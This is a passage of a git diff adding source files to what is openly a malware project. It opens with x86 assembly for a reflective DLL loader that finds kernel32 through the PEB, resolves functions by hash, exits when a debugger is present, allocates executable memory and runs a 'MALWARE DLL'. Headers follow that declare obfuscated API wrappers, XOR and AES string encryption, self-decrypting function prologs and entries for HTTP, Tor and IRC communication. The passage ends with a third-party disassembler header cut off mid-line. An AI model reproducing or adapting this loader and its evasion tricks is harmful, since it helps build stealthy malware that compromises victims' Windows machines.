+OFF_STRVALLOC EQU 0x04 ; string 'VirtualAlloc' +OFF_KERNEL32 EQU 0x08 ; KERNEL32 base address +OFF_PROCADDR EQU 0x0c ; FuncPtrGetProcAddress +OFF_VALLOC EQU 0x10 ; FuncPtrVirtualAlloc +OFF_BADRPTR EQU 0x14 ; FuncPtrIsBadReadPtr +OFF_ADROFENTRY EQU 0x18 ; AddressOfEntryPoint +OFF_IMAGEBASE EQU 0x1c ; DLL ImageBAse +OFF_SIZOFIMAGE EQU 0x20 ; DLL SizeOfImage +OFF_SIZOFHEADR EQU 0x24 ; DLL SizeOfHeaders +OFF_FSTSECTION EQU 0x28 ; DLL FirstSection +OFF_NUMSECTION EQU 0x2c ; DLL NumberOfSections +OFF_VALLOCBUF EQU 0x30 ; buffer from VirtualAlloc +; for vegetarians only +%define DEADBEEF 0xde,0xad,0xbe,0xef +%define CAFEBABE 0xca,0xfe,0xba,0xbe +%define DEADC0DE 0xde,0xad,0xc0,0xde + + +; safe jump (so we can jump to the start of our loader buffer later) +jmp near __ldr_start +db CAFEBABE +db 0x66,0x66,0x66,0x66 ; unused byte padding (0xCA is a valid opcode) + +; Calculate a 32 bit hash from a string (non-case-sensitive) +; arguments: esi = ptr to string +; ecx = bufsiz +; modifies : eax, edi +; return : 32 bit hash value in edi +__ldr_calcStrHash: + xor edi,edi + __ldr_calcHash_loop: + xor eax,eax + lodsb ; read in the next byte of the name + cmp al,'a' ; some versions of Windows use lower case module names + jl __ldr_calcHash_not_lowercase + sub al,0x20 ; if so normalise to uppercase + __ldr_calcHash_not_lowercase: + ror edi,13 ; rotate right our hash value + add edi,eax ; add the next byte of the name to the hash + loop __ldr_calcHash_loop + ret + + +; Get base address of kernel32.dll (alternative way through PEB) +; arguments: - +; modifies : eax, ebx +; return : base addres in eax +__ldr_getModuleHandleKernel32PEB: + ; see http://www.rohitab.com/discuss/topic/38717-quick-tutorial-finding-kernel32-base-and-walking-its-export-table + ; and http://www.rohitab.com/discuss/topic/35251-3-ways-to-get-address-base-kernel32-from-peb + mov eax,[fs:0x30] ; PEB +%ifndef _DEBUG + ; check if we ware beeing debugged + xor ebx,ebx + mov bl,[eax + 0x2] ; BeeingDebugged + test bl,bl + jnz __ldr_getModuleHandleKernel32PEB_fail + ; PEB NtGlobalFlag == 0x70 ? + ; see http://antukh.com/blog/2015/01/19/malware-techniques-cheat-sheet + xor ebx,ebx + mov bl,[eax + 0x68] + cmp bl,0x70 + je __ldr_getModuleHandleKernel32PEB_fail +%endif + mov eax,[eax+0x0c] ; PEB->Ldr + mov eax,[eax+0x14] ; PEB->Ldr.InMemoryOrderModuleList.Flink (1st entry) + mov ebx,eax + xor ecx,ecx + __ldr_getModuleHandleKernel32PEB_loop: + pushad + mov esi,[ebx+0x28] ; Flink.ModuleName (16bit UNICODE) + mov ecx,0x18 ; max module length: 24 -> len('kernel32.dll')*2 + call __ldr_calcStrHash + cmp edi,0x6A4ABC5B ; pre calculated module name hash of 'kernel32.dll' + popad + mov ecx,[ebx+0x10] ; get base address + mov ebx,[ebx] + jne __ldr_getModuleHandleKernel32PEB_loop + mov eax,ecx + ret + __ldr_getModuleHandleKernel32PEB_fail: + xor eax,eax + ret + + +; Get Address of GetProcAddress from module export directory +; arguments: eax = kernel32 base address +; modifies : eax, ebx, ecx, edi, edx, esi +; return : eax +__ldr_getAdrOfGetProcAddress: + mov ebx,eax + add ebx,[eax+0x3c] ; PE header + mov ebx,[ebx+0x78] ; RVA export directory + add ebx,eax + mov esi,[ebx+0x20] ; RVA Export Number Table + add esi,eax ; VA of ENT + mov edx,eax ; remember kernel base + xor ecx,ecx + __ldr_getAdrOfGetProcAddress_loop: + inc ecx + lodsd ; load dword from esi into eax + add eax,edx ; add kernel base + pushad + mov esi,eax ; string + mov ecx,14 ; len('GetProcAddress') + call __ldr_calcStrHash + cmp edi,0x1ACAEE7A ; pre calculated hash of 'GetProcAddress' + popad + jne __ldr_getAdrOfGetProcAddress_loop + dec ecx + mov edi,ebx + mov edi,[edi+0x24] ; RVA of Export Ordinal Table + add edi,edx ; VA of EOT + movzx edi,word [ecx*2+edi] ; ordinal to function + mov eax,ebx + mov eax,[eax+0x1c] ; RVA of Export Address Table + add eax,edx ; VA of EAT + mov eax,[edi*4+eax] ; RVA of GetProcAddress + add eax,edx ; VA of GetProcAddress + ret + + +; Get function pointer by function name +; arguments: ebx = base address of module +; ecx = string pointer to function name +; modifies : eax +; return : address in eax +__ldr_getProcAddress: + mov eax,[ebp + OFF_PROCADDR] ; ptr to GetProcAddress(...) + push ecx + push ebx + call eax + ret + + +; Check if pointer is readable +; arguments: ebx = pointer +; ecx = size +; modifies : eax +; return : [0,1] in eax +__ldr_isBadReadPtr: + push ecx + push ebx + mov eax,[ebp + OFF_BADRPTR] ; PtrIsBadReadPtr + call eax + ret + + +; Allocate virtual memory in our current process space +; arguments: ebx = preffered address +; ecx = size of memory block +; modifies : eax +; return : ptr in eax +__ldr_VirtualAlloc: + push ecx ; save size for a possible second call to VirtualAlloc(...) + push dword 0x40 ; PAGE_EXECUTE_READWRITE + push dword 0x3000 ; MEM_RESERVE | MEM_COMMIT + push ecx + push ebx + mov eax,[ebp + OFF_VALLOC] ; PtrVirtualAlloc + call eax + test eax,eax + pop ecx + jnz __ldr_VirtualAlloc_success + ; base address already taken + push dword 0x40 ; PAGE_EXECUTE_READWRITE + push dword 0x3000 ; MEM_RESERVE | MEM_COMMIT + push ecx + xor eax,eax + push eax + mov eax,[ebp + OFF_VALLOC] ; PtrVirtualAlloc + call eax + __ldr_VirtualAlloc_success: + ret + + +; Read DLL PE header from memory +; arguments: ebx = ptr to memory +; modifies : eax, ecx, edx +; return : [0,1] in eax +__ldr_ReadPE: + ; check dos magic number + xor ecx,ecx + mov cx,[ebx] + cmp cx,0x5a4d ; Magic number (DOS-HEADER) + jne near __ldr_ReadPE_fail + ; e_lfanew + mov ecx,ebx + add ecx,0x3c ; OFFSET: e_lfanew + mov eax,[ecx] ; e_lfanew + add eax,ebx ; [e_lfanew + ptr] = NT-HEADER + mov ecx,eax ; *** save NT-HEADER in ECX *** + ; check pe magic number + xor eax,eax + mov eax,[ecx] + cmp ax,0x4550 ; 'EP' -> 'PE' + jne __ldr_ReadPE_fail + ; check opt header magic + mov eax,ecx + add eax,0x18 ; [NT-HEADER + 0x18] = opt header magic + mov edx,eax + xor eax,eax + mov ax,[edx] + cmp ax,0x010b ; 0x010b = PE32 + jne short __ldr_ReadPE_fail + ; entry point VA + mov eax,ecx + add eax,0x28 + mov eax,[eax] + mov [ebp + OFF_ADROFENTRY],eax + ; get image base && image size + mov eax,ecx + add eax,0x34 ; [NT-HEADER + 0x34] = ImageBase + mov eax,[eax] + test eax,eax ; check if ImageBase is not NULL + jz short __ldr_ReadPE_fail + mov [ebp + OFF_IMAGEBASE], eax + mov eax,ecx + add eax,0x50 ; [NT-HEADER + 0x50] = SizeOfImage + mov eax,[eax] + test eax,eax + jz short __ldr_ReadPE_fail ; check if ImageSize is not zero + mov [ebp + OFF_SIZOFIMAGE], eax + ; get size of headers + mov eax,ecx + add eax,0x54 ; [NT-HEADER + 0x54] = SizeOfHeaders + mov eax,[eax] + test eax,eax + jz short __ldr_ReadPE_fail + mov [ebp + OFF_SIZOFHEADR], eax + ; get number of sections + mov edx,ecx + add edx,0x6 ; [NT-HEADER + 0x8] = NumberOfSections + xor eax,eax + mov ax,[edx] + test eax,eax + jz short __ldr_ReadPE_fail + mov [ebp + OFF_NUMSECTION], eax + ; get ptr to first section + mov edx,ecx + add edx,0x14 ; [NT-HEADER + 0x14] = SizeOfOptionalHeaders + xor eax,eax + mov ax,[edx] + mov edx,eax + mov eax,ecx + add eax,0x18 + add eax,edx ; [NT-HEADER + 0x18 + SizeOfOptionalHeaders] = FirstSection + mov [ebp + OFF_FSTSECTION], eax + ; return true + mov eax,1 + ret + __ldr_ReadPE_fail: + xor eax,eax + ret + + +; Copies n bytes memory from source to dest +; arguments: ebx = dest +; ecx = size +; edx = source +; modifies : eax, edi +; return : eax +__ldr_memcpy: + xor edi,edi + xor eax,eax + __ldr_memcpy_loop0: + mov al,[edx + edi] + mov [ebx + edi],al + inc edi + loop __ldr_memcpy_loop0 + ret + + +__ldr_start: + ; new stack frame + push ebp + ; save gpr+flag regs + pushad + pushfd + ; GET POINTER TO CONST DATA + jmp near __ldr_ConstData + __ldr_gotConstData: + pop esi ; pointer to const data in ESI + ; RESERVE STACK memory + sub esp, STACKMEM + mov ebp, esp ; backup ptr for subroutines + + call __ldr_getModuleHandleKernel32PEB ; module handle in eax + mov [ebp + OFF_KERNEL32],eax + test eax,eax ; check if module handle is not NULL + jz __ldr_end + push esi + call __ldr_getAdrOfGetProcAddress ; adr of GetProcAddress in eax + mov [ebp + OFF_PROCADDR],eax + pop esi + + jmp short _string_VirtualAlloc + _got_VirtualAlloc: + pop eax + mov [ebp + OFF_STRVALLOC],eax + jmp short _string_IsBadReadPtr + _got_IsBadReadPtr: + pop eax + mov [ebp + OFF_STRRPTR],eax + jmp _strings_done + ; strings + _string_VirtualAlloc: + call _got_VirtualAlloc + db 'VirtualAlloc',0x00 + _string_IsBadReadPtr: + call _got_IsBadReadPtr + db 'IsBadReadPtr',0x00 + ; unused byte padding (we are reading data from code section) + db 0x90,0x90,0x90,0x90,0x90 + + _strings_done: + + ; *** STACK LAYOUT *** + ; [ebp] = 'IsBadReadPtr' | [ebp + 0x4] = 'VirtualAlloc' + ; [ebp + 0x8] = Kernel32Base | [ebp + 0xc] = PtrGetProcAddress + ; [ebp + 0x10] = PtrVirtualAlloc | [ebp + 0x14] = PtrIsBadReadPtr + ; [ebp + 0x18] = NT-HEADER | [ebp + 0x1c] = AddressOfEntryPoint + ; [ebp + 0x20] = ImageBase | [ebp + 0x24] = SizeOfImage + ; [ebp + 0x28] = SizeOfHeaders | [ebp + 0x2c] = FirstSection + ; [ebp + 0x30] = NumberOfSections | [ebp + 0x34] = vallocBuf + ; [ebp + 0x38] = needBaseReloc + + ; GetProcAddress(KERNEL32BASE, 'VirtualAlloc') + mov ebx, [ebp + OFF_KERNEL32] ; KERNEL32BASE + mov ecx, [ebp + OFF_STRVALLOC] + call __ldr_getProcAddress ; eax holds function pointer of VirtualAlloc + mov [ebp + OFF_VALLOC], eax + ; GetProcAddress(KERNEL32BASE, 'IsBadReadPtr') + mov ecx, [ebp + OFF_STRRPTR] + call __ldr_getProcAddress ; eax holds function pointer of IsBadReadPtr + mov [ebp + OFF_BADRPTR], eax + ; check if malware dll pointer is valid + mov ebx, [esi + ESI_PTRDLL] + mov ecx, [esi + ESI_SIZDLL] + call __ldr_isBadReadPtr + test eax,eax + jnz __ldr_end + ; read dll pe header (ebx = PtrToDLL) + call __ldr_ReadPE + cmp al,0x1 + jne __ldr_end + ; VirtualAlloc(...) + mov ebx,[ebp + OFF_IMAGEBASE] ; ImageBase (MALWARE-DLL) + mov ecx,[ebp + OFF_SIZOFIMAGE] ; SizeOfImage (MALWARE-DLL) + call __ldr_VirtualAlloc ; eax holds pointer to allocated memory + test eax,eax + jz __ldr_end + mov [ebp + OFF_VALLOCBUF],eax + ; copy header + mov ebx,eax ; dest + mov ecx,[ebp + OFF_SIZOFHEADR] ; size + mov edx,[esi + ESI_PTRDLL] ; src + call __ldr_memcpy + ; copy sections + mov ecx,[ebp + OFF_NUMSECTION] + mov ebx,[ebp + OFF_FSTSECTION] + __ldr_section_copy: + mov edx,ebx + add edx,0xc ; RVA of section[i] + mov edx,[edx] + add edx,[ebp + OFF_VALLOCBUF] ; VA of section[i] + mov edi,ebx + add edi,0x10 + mov edi,[edi] ; SizeOfRawData + mov eax,ebx + add eax,0x14 + mov eax,[eax] + add eax,[esi + ESI_PTRDLL] + ; copy one section + pushad + mov ebx,edx + mov ecx,edi + mov edx,eax + call __ldr_memcpy + popad + ; next + add ebx,0x28 ; sizeof(IMAGE_SECTION_HEADER) + loop __ldr_section_copy + ; move arguments to registers + mov eax,[ebp + OFF_ADROFENTRY] + add eax,[ebp + OFF_VALLOCBUF] + push eax ; MALWARE-CRT adr (AddressOfEntry) + ; arguments + mov ebx,0xdeadbeef ; identificator + mov eax,[esi + ESI_PTRDLL] ; save dll section address on stack + mov edi,[ebp + OFF_VALLOCBUF] ; dll base adr + mov esi,[esi + ESI_SIZDLL] ; size of dll + mov ecx,[ebp + OFF_PROCADDR] + mov edx,[ebp + OFF_KERNEL32] + call [esp] ; call AddressOfEntry (MALWARE-CRT) + pop ecx +__ldr_end: + ; CLEANUP STACK + add esp,STACKMEM + ; restore old gpr+flag regs + popfd + popad + ; cleanup stack frame + pop ebp + ; NOPs (can be overwritten by the MALWARE if JMP to __ldr_start was injected + ; replaceable nops (15 bytes max instruction length for x86/x86_64) + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + ; `jump back` nops + nop + nop + nop + nop + nop + ; return if call'd + ret + ; CONSTS MODIFIED BY THE MALWARE + __ldr_ConstData: + call near __ldr_gotConstData + + db DEADBEEF ; Pointer to MALWARE DLL + db DEADBEEF ; Size of MALWARE DLL + db DEADC0DE ; unused, end marker +\end{lstlisting} + +\end{document} diff --git a/include/aes.h b/include/aes.h new file mode 100644 index 0000000..c828c96 --- /dev/null +++ b/include/aes.h @@ -0,0 +1,36 @@ +#ifndef AES_H_INCLUDED +#define AES_H_INCLUDED + +#include <stdbool.h> +#include <stdint.h> + +#define KEY_128 (128/8) +#define KEY_192 (192/8) +#define KEY_256 (256/8) + + +typedef struct { + unsigned char state[4][4]; + int kcol; + uint32_t rounds; + uint32_t keysched[0]; +} aes_ctx_t; + + +void aes_randomkey(unsigned char* keyout, uint32_t keyLen); + +void aes_init(); + +void aes_cleanup(); + +aes_ctx_t* aes_alloc_ctx(unsigned char* key, uint32_t keyLen); + +char* aes_crypt_s(aes_ctx_t* ctx, const char* input, uint32_t siz, uint32_t* newsiz, bool doEncrypt); + +void aes_encrypt(aes_ctx_t* ctx, const unsigned char input[16], unsigned char output[16]); + +void aes_decrypt(aes_ctx_t* ctx, const unsigned char input[16], unsigned char output[16]); + +void aes_free_ctx(aes_ctx_t* ctx); + +#endif // AES_H_INCLUDED diff --git a/include/aes_strings.h b/include/aes_strings.h new file mode 100644 index 0000000..49c4f16 --- /dev/null +++ b/include/aes_strings.h @@ -0,0 +1,8 @@ +/* + * WARNING: Any changes in this file require a *FULL* project rebuild! + * e.g.: `git clean -df . ; cmake . ; make -j4` + */ + +#define _AESDATA_(name, str) static volatile unsigned char name[] = str +#define _AESSIZE_(name, aesData) static size_t name = (size_t)( (sizeof(aesData)/sizeof(aesData[0]))-1 ) + diff --git a/include/compat.h b/include/compat.h new file mode 100644 index 0000000..46070f1 --- /dev/null +++ b/include/compat.h @@ -0,0 +1,207 @@ +#ifndef COMPAT_H_INCLUDED +#define COMPAT_H_INCLUDED + +#ifndef NULL +#define NULL (void*)0x0 +#endif + +#ifdef _HOST_TOOLS +#include <stdlib.h> +#include <stdint.h> +#include <string.h> +#include "helper.h" +#define COMPAT(func) func +#else /* _HOST_TOOLS */ + +#ifdef __MINGW32__ +#ifdef _ENABLE_IRC +#include <winsock2.h> +#endif +#include <windows.h> +#include <winhttp.h> +typedef HMODULE (WINAPI *LoadLibraryFunc) (LPCTSTR); +typedef FARPROC (WINAPI *GetProcAddressFunc) (HMODULE, LPCSTR); +#else +#include <time.h> +#endif /* __MINGW32__ */ + +#include <stdio.h> + +#ifdef _NO_COMPAT +#include <stdlib.h> +#include <stdint.h> +#include <string.h> +#define COMPAT(func) func +#define _LoadLibraryA LoadLibraryA +#define _GetFileSize GetFileSize +#define _CreateFile CreateFile +#define _CloseHandle CloseHandle +#define _ReadFile ReadFile +#define _WriteFile WriteFile +#define _IsBadReadPtr IsBadReadPtr +#define _GetSystemTime GetSystemTime +#define _GetModuleFileName GetModuleFileName +#define _GetLastError GetLastError +#ifndef _USE_PIPES +#define _GetStdHandle GetStdHandle +#endif /* _USE_PIPES */ +#define _WriteConsole WriteConsole +#else /* _NO_COMPAT */ +#include <stdint.h> +#include <stdbool.h> + +typedef struct ApiCall { + void* func_ptr; +} ApiCall_t; + +BOOL bInitCompat(void* kernel32, void* getProcAdr); + +#ifdef _RUN_TESTS +#define COMPAT(func) __x ## func +#else /* _RUN_TESTS */ +#define COMPAT(func) func +#endif /* _RUN_TESTS */ + +#if defined(_PRE_RELEASE) || defined(_RUN_TESTS) +#ifndef _USE_PIPES +HANDLE _GetStdHandle (void); +#endif /* _USE_PIPES */ +#define PRINT_BUFSIZ 8192 +BOOL _WriteConsole (const void* buffer, DWORD size, LPDWORD written); +int COMPAT(puts) (const char* str); +int COMPAT(vprintf) (const char *format, va_list ap); +int COMPAT(printf) (const char *format, ...); +#endif /* _PRE_RELEASE) || _RUN_TESTS */ + +void* COMPAT(calloc) (size_t nElements, size_t szElement); + +void* COMPAT(realloc) (void* ptr, size_t szNew); + +const +void* COMPAT(memmem) (const void* haystack, size_t haystacklen, const void* needle, size_t needlelen); + +void* COMPAT(memcpy) (void* dst, const void* src, size_t n); + +void* COMPAT(memmove) (void* dst, const void* src, size_t siz); + +void* COMPAT(memset) (void* str, int c, size_t siz); + +void COMPAT(free) (void* ptr); + +int COMPAT(strcmp) (const char* str1, const char* str2); + +int COMPAT(strncmp) (const char* str1, const char* str2, size_t maxCount); + +int COMPAT(strnicmp) (const char* str1, const char* str2, size_t maxCount); + +const +char* COMPAT(strnstr) (const char* haytsack, const char* needle, size_t maxCount); + +const +char* COMPAT(strnistr) (const char* haystack, const char* needle, size_t maxCount); + +size_t COMPAT(strlen) (const char* str); + +size_t COMPAT(strnlen) (const char* str, size_t maxCount); + +char* COMPAT(strdup) (const char* str); + +char* COMPAT(strchr) (const char* str, int c); + +char* COMPAT(strcat) (char *dest, const char *src); + +int COMPAT(vsnprintf) (char* buffer, unsigned int buffer_len, const char *fmt, va_list va); + +int COMPAT(snprintf) (char* buffer, unsigned int buffer_len, const char *fmt, ...); + +LPWSTR COMPAT(toWideChar)(LPCSTR mbStr, int mbLen, int* pOutLen); + +BOOL WINAPI _VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType); + +HMODULE WINAPI _LoadLibrary (LPCTSTR name); + +FARPROC WINAPI _GetProcAddress (HMODULE, LPCSTR); + +DWORD WINAPI _GetFileSize (HANDLE hFile, LPDWORD lpFileSizeHigh); + +HANDLE WINAPI _CreateFile (LPCTSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, + LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, + DWORD dwFlagsAndAttributes, HANDLE hTemplateFile); + +BOOL WINAPI _CloseHandle (HANDLE hObject); + +BOOL WINAPI _ReadFile (HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, + LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped); + +BOOL WINAPI _WriteFile (HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, + LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped); + +DWORD WINAPI _SetFilePointer (HANDLE hFile, LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod); + +BOOL WINAPI _IsBadReadPtr (const void* lp, UINT_PTR ucb); + +void WINAPI _GetSystemTime (LPSYSTEMTIME lpSystemTime); + +DWORD WINAPI _GetModuleFileName (HMODULE hModule, LPTSTR lpFilename, DWORD nSize); + +DWORD WINAPI _GetLastError (void); + +void WINAPI _SetLastError (DWORD dwErrCode); + +void WINAPI _OutputDebugString (LPCTSTR lpcOut); + +DWORD WINAPI _GetLogicalDriveStrings(DWORD nBufferLength, LPTSTR lpBuffer); + +UINT WINAPI _GetDriveType (LPCTSTR lpRootPathName); + +BOOL WINAPI _GetDiskFreeSpace (LPCTSTR lpRootPathName, LPDWORD lpSectorsPerCluster, LPDWORD lpBytesPerSector, + LPDWORD lpNumberOfFreeClusters, LPDWORD lpTotalNumberOfClusters); + +DWORD WINAPI _GetTempPath (DWORD nBufferLength, LPTSTR lpBuffer); + +HANDLE WINAPI _CreateThread (LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, + LPTHREAD_START_ROUTINE lpStartAddress, + LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId); + +DWORD WINAPI _ResumeThread (HANDLE hThread); + +BOOL WINAPI _GetThreadContext (HANDLE hThread, LPCONTEXT lpContext); + +BOOL WINAPI _SetThreadContext (HANDLE hThread, const CONTEXT *lpContext); + +HANDLE WINAPI _GetCurrentThread (void); + +DWORD WINAPI _WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds); + +BOOL WINAPI _SwitchToThread (void); + +DWORD WINAPI _GetVersion (void); + +LPTSTR WINAPI _GetCommandLine (void); + +void WINAPI _GetSystemInfo (LPSYSTEM_INFO lpSystemInfo); + +BOOL WINAPI _GetVolumeInformation(LPCTSTR lpRootPathName, LPTSTR lpVolumeNameBuffer, DWORD nVolumeNameSize, + LPDWORD lpVolumeSerialNumber, LPDWORD lpMaximumComponentLength, + LPDWORD lpFileSystemFlags, LPTSTR lpFileSystemNameBuffer, DWORD nFileSystemNameSize); + +BOOL WINAPI _GetCurrentHwProfile(LPHW_PROFILE_INFOA lpHwProfileInfo); + +UINT WINAPI _GetSystemDirectory (LPTSTR lpBuffer, UINT uSize); + +DWORD WINAPI _GetCurrentDirectory(DWORD nBufferLength, LPTSTR lpBuffer); + +DWORD WINAPI _GetFileAttributes (LPCTSTR lpFileName); + +BOOL WINAPI _EnumDeviceDrivers (LPVOID *lpImageBase, DWORD cb, LPDWORD lpcbNeeded); + +DWORD WINAPI _GetDeviceDriverBaseNameA(LPVOID ImageBase, LPSTR lpBaseName, DWORD nSize); + +HINSTANCE _ShellExecute (HWND hwnd, LPCTSTR lpOperation, LPCTSTR lpFile, LPCTSTR lpParameters, + LPCTSTR lpDirectory, INT nShowCmd); + +#endif /* _NO_COMPAT */ + +#endif /* _HOST_TOOLS */ + +#endif /* COMPAT_H_INCLUDED */ diff --git a/include/crypt.h b/include/crypt.h new file mode 100644 index 0000000..f9ec877 --- /dev/null +++ b/include/crypt.h @@ -0,0 +1,47 @@ +#ifndef CRYPT_H_INCLUDED +#define CRYPT_H_INCLUDED + +#include <stdint.h> + + +/* a possible encrypted function should use this macro */ +#define POSSIBLE_CRYPT_FUNC(func, ...) \ + printf("FUNC-PTR: %p\n", func); \ + func(__VA_ARGS__) + +/* AES-256 function prolog */ +#define CRYPT_PROLOG \ + asm goto ("jmp %l0\n" \ + : /* no output */ \ + : /* no input */ \ + : /* no clobber */ \ + : ___after_crypt_header); \ + __asm__ __volatile__( \ + ".intel_syntax noprefix\n" \ + ".byte 0xac,0xab,0x00,0x00,0x00,0x00\n\t" \ + ".att_syntax\n" \ + ); \ + ___after_crypt_header: + +/* 16 byte pad for AES-256 encryption */ +#define CRYPT_EPILOG \ + asm volatile( \ + ".intel_syntax noprefix\n" \ + "nop; nop; nop; nop; nop; nop; nop; nop\n\t" \ + "nop; nop; nop; nop; nop; nop; nop; nop\n\t" \ + ".att_syntax\n" \ + ) + +#define XOR128_KEYSIZ 4 +#define XOR256 KEYSIZ 8 + + +uint32_t xor32n_pcbc_crypt_buf(uint32_t* buf, uint32_t siz, const uint32_t* iv, const uint32_t* key, uint32_t ivkeysiz); + +unsigned char* xor32_byte_crypt(unsigned char* buf, uint32_t siz, uint32_t key); + +uint32_t xor32_randomkey(void); + +uint32_t murmurhash(const char *key, uint32_t len, uint32_t seed); + +#endif /* CRYPT_H_INCLUDED */ diff --git a/include/crypt_strings.h b/include/crypt_strings.h new file mode 100644 index 0000000..9c41134 --- /dev/null +++ b/include/crypt_strings.h @@ -0,0 +1,80 @@ +#ifndef STRINGS_H_INCLUDED + +struct string { + const uint8_t len; + const char* str; +#ifdef _STRINGS_BIN + const char* name; +#endif +}; + +#ifdef _STRINGS_BIN +#define STRENT(s) { sizeof(s) - 1, s, #s } +#else +#define STRENT(s) { sizeof(s) - 1, s } +#endif + +#ifdef _STRINGS_BIN +#define NULLENT(x) { 0, NULL, #x } +#else +#define NULLENT(x) { 0, NULL } +#endif + + +#include "xor_strings_gen.h" +enum stridx { + XOR_STARTFUNCS = 0, + /* kernel32.dll */ + XOR_KEY_FUNCS_ENUM, + XOR_KEY_FUNCS_INFO_ENUM, + XOR_KEY_FUNCS_KERNEL_ENUM, +#if defined(_PRE_RELEASE) || defined(_RUN_TESTS) + XOR_KEY_FUNCS_DEBUG_ENUM, +#endif + /* ------------------ */ + XOR_ENDFUNCS, + /* non-kernel32.dll */ + XOR_KEY_FUNCS_OTHER_ENUM, + /* ------------------ */ + XOR_ENDFUNCS_OTHER, + XOR_KEY_HTTP_ENUM, +#ifdef _HTTP_LOCALHOST + XOR_KEY_HTTP_LOCALHOST_ENUM, +#else + XOR_KEY_HTTP_WEB2TOR_ENUM, +#endif +#ifdef _ENABLE_IRC + XOR_SOCK_FUNCS_START, + XOR_KEY_SOCK_FUNCS_ENUM, /* Ws32.dll functions */ + XOR_SOCK_FUNCS_END, + XOR_KEY_SOCK_STRS_ENUM, +#endif + XOR_KEY_ROOT_ENUM, /* all non-func strings */ +#if defined(_PRE_RELEASE) || defined(_RUN_TESTS) +#ifdef _USE_PIPES + XOR_KEY_DEBUG_ENUM, /* additional debug-only strings */ +#endif +#endif + STR_MAX +}; + + +#define CLEN(i) crypt_len(i) +#define CBUF(i, name) char name[CLEN(i)+1]; name[CLEN(i)] = 0; +#define DBUF(i, name) CBUF(i, name); decrypt_string(i, &name[0]) + +uint8_t crypt_len(enum stridx i); + +char* decrypt_string(enum stridx i, char* plainStrPtr); + +int get_string_in_strings(char* strings, char delim, char** pDest, char** pEnd); + +int get_string_in_strings_d(char* strings, char** pDest, char** pEnd); + +int get_string_in_strings_i(char* strings, char delim, int idx, char** pDest, char** pEnd); + +int get_string_in_strings_di(char* strings, int idx, char** pDest, char** pEnd); + +void string_restore_delim(char* pEnd); + +#endif diff --git a/include/disasm.h b/include/disasm.h new file mode 100644 index 0000000..b9e31c4 --- /dev/null +++ b/include/disasm.h @@ -0,0 +1,9 @@ +#ifndef DISASM_H_INCLUDED +#define DISASM_H_INCLUDED + +#include "distorm/distorm.h" + + +_DecodeResult disasm(_OffsetType codeOffset, const unsigned char* code, int codeLen, _DecodeType dt, _DInst instructions[], unsigned int maxInstructions, unsigned int* usedInstructionsCount); + +#endif /* DISASM_H_INCLUDED */ diff --git a/include/distorm/distorm.h b/include/distorm/distorm.h new file mode 100644 index 0000000..2cf1b66 --- /dev/null +++ b/include/distorm/distorm.h @@ -0,0 +1,475 @@ +/* diStorm 3.3.3 */ + +/* +distorm.h + +diStorm3 - Powerful disassembler for X86/AMD64 +http://ragestorm.net/distorm/ +distorm at gmail dot com +Copyright (C) 2003-2016 Gil Dabah +This library is licensed under the BSD license. See the file COPYING. +*/ + + +#ifndef DISTORM_H +#define DISTORM_H + +/* + * 64 bit offsets support: + * If the diStorm library you use was compiled with 64 bits offsets, + * make sure you compile your own code with the following macro set: + * SUPPORT_64BIT_OFFSET + * Otherwise comment it out, or you will get a linker error of an unresolved symbol... + * Turned on by default! + */ + +#if !(defined(DISTORM_STATIC) || defined(DISTORM_DYNAMIC)) + /* Define this macro for outer projects by default. */ + #define SUPPORT_64BIT_OFFSET +#endif + +/* TINYC has a problem with some 64bits library functions, so ignore 64 bit offsets. */ +#ifdef __TINYC__ + #undef SUPPORT_64BIT_OFFSET +#endif + +/* If your compiler doesn't support stdint.h, define your own 64 bits type. */ +#ifdef SUPPORT_64BIT_OFFSET + #ifdef _MSC_VER + #define OFFSET_INTEGER unsigned __int64 + #else + #include <stdint.h> + #define OFFSET_INTEGER uint64_t + #endif +#else + /* 32 bit offsets are used. */ + #define OFFSET_INTEGER unsigned long +#endif + +#ifdef _MSC_VER +/* Since MSVC isn't shipped with stdint.h, we will have our own: */ +typedef signed __int64 int64_t; +typedef unsigned __int64 uint64_t; +typedef signed __int32 int32_t; +typedef unsigned __int32 uint32_t; +typedef signed __int16 int16_t; +typedef unsigned __int16 uint16_t; +typedef signed __int8 int8_t; +typedef unsigned __int8 uint8_t; +#endif + +/* Support C++ compilers */ +#ifdef __cplusplus + extern "C" { +#endif + + +/* *** Helper Macros *** */ + +/* Get the ISC of the instruction, used with the definitions below. */ +#define META_GET_ISC(meta) (((meta) >> 3) & 0x1f) +#define META_SET_ISC(di, isc) (((di)->meta) |= ((isc) << 3)) +/* Get the flow control flags of the instruction, see 'features for decompose' below. */ +#define META_GET_FC(meta) ((meta) & 0x7) + +/* Get the target address of a branching instruction. O_PC operand type. */ +#define INSTRUCTION_GET_TARGET(di) ((_OffsetType)(((di)->addr + (di)->imm.addr + (di)->size))) +/* Get the target address of a RIP-relative memory indirection. */ +#define INSTRUCTION_GET_RIP_TARGET(di) ((_OffsetType)(((di)->addr + (di)->disp + (di)->size))) + +/* + * Operand Size or Adderss size are stored inside the flags: + * 00 - 16 bits + * 01 - 32 bits + * 10 - 64 bits + * 11 - reserved + * + * If you call these set-macros more than once, you will have to clean the bits before doing so. + */ +#define FLAG_SET_OPSIZE(di, size) ((di->flags) |= (((size) & 3) << 8)) +#define FLAG_SET_ADDRSIZE(di, size) ((di->flags) |= (((size) & 3) << 10)) +#define FLAG_GET_OPSIZE(flags) (((flags) >> 8) & 3) +#define FLAG_GET_ADDRSIZE(flags) (((flags) >> 10) & 3) +/* To get the LOCK/REPNZ/REP prefixes. */ +#define FLAG_GET_PREFIX(flags) ((flags) & 7) +/* Indicates whether the instruction is privileged. */ +#define FLAG_GET_PRIVILEGED(flags) (((flags) & 